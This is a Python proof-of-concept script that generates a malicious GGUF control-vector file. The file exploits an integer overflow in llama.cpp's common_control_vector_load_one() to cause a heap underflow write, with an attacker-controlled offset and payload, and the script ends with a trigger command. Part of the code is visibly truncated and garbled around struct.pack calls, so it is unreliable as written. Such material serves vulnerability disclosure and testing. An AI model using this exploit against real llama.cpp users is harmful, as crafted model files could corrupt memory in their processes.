#!/usr/bin/env python3 """ PoC generator — llama.cpp control-vector integer-overflow heap OOB write. Emits a VALID GGUF v3 control-vector file (the official gguf_init_from_file() must accept it) containing two 1-D F32 tensors: direction.1 -> layer_idx = 1 (sets n_embd = 4, grows buffer to 4 floats) direction.1073741824 -> layer_idx = 2^30 In common/common.cpp:common_control_vector_load_one(): :1860 resize(max(size, (size_t)(n_embd * layer_idx))) n_embd*layer_idx = 4*2^30 = 2^32 == 0 (int wrap) -> buffer is NOT grown (stays 4 floats) :1863 dst = data() + n_embd*(layer_idx-1) 4*(2^30-1) = 2^32-4 == -4 (int wrap) -> dst = data() - 16 bytes :1865 dst[j] += src[j]*strength for j in 0..3 -> 16-byte heap UNDERFLOW write Both the offset (tensor name) and the payload (tensor F32 data) are attacker-controlled. No third-party deps (pure struct); GGUF v3 spec, little-endian, alignment 32. Usage: python3 gen_ctrlvec_poc.py [out.gguf] """ import struct, sys GGUF_MAGIC = b"GGUF" GGUF_VERSION = 3 GGML_TYPE_F32 = 0 ALIGN = 32 def gguf_string(s: bytes) -> bytes: return struct.pack(" int overflow ] # ---- header ---- head = bytearray() head += GGUF_MAGIC head += struct.pack(" 1 else "poc_ctrlvec_overflow.gguf" data = build() with open(out_path, "wb") as f: f.write(data) print(f"wrote {out_path} ({len(data)} bytes): tensors direction.1 and direction.1073741824 (2^30), F32[4]") print("trigger: llama-cli -m --control-vector", out_path, "-p hi (build llama.cpp with -fsanitize=address)")